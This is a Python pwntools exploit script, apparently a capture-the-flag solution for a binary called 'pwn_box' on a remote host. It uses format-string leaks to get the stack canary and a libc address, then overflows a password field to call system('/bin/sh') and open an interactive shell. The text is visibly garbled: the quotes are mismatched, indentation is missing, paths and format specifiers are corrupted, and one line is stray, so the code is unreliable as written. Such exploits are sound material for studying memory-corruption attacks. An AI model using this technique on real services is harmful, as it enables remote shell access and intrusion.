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from pwn import *

Local = False
if Local:
io = process('./pwn_box")
libc = ELF('/1lib/i386-1inux-gnu/libc.so0.6")
elf = ELF('./pwn_box")
else:
io = remote('117.34.80.134',7777)
libc = ELF('./libc.so0.6")
elf = ELF('./pwn_box")

def recvn(x):
global io
io.recvuntil(x)

def recv(x):
global io
return io.recv(x)

def send(x):
global io
io.sendline(x)

#get Canary
recvn('?")
send('%7%p")
recvn('login!")
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canary recv(10)

canary = int(canary,16)

#log.info("canary:" + hex(canary)
#get libc address

got_puts = elf.got['puts']
#log.info("got_puts:"
recvn('?")

send('aa' + p32(got_puts) + "%5%s")
recvn(p32(got_puts))

puts_addr = io.recv(4)

puts_addr = u32(puts_addr)
#log.info("puts_addr:" + hex(puts_addr))

+ hex(got_puts))

#get system address && /bin/sh address

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))

#login

username = 'admin2017°'
recvn("?"
send(username)

#get payload

#tget flag:system('/bin/sh")
payload = 'a' * 30

payload += p32(canary)
payload += 'a' * 12

payload += p32(system_addr)
payload += 'a' * 4

payload += p32(binsh_addr)

recvn("commands.\n")

send('add")
recvn('APP/Site: ')
send('1")
recvn('Username: ')
send('2")

recvn('Password: ')
send(payload)

io.interactive()
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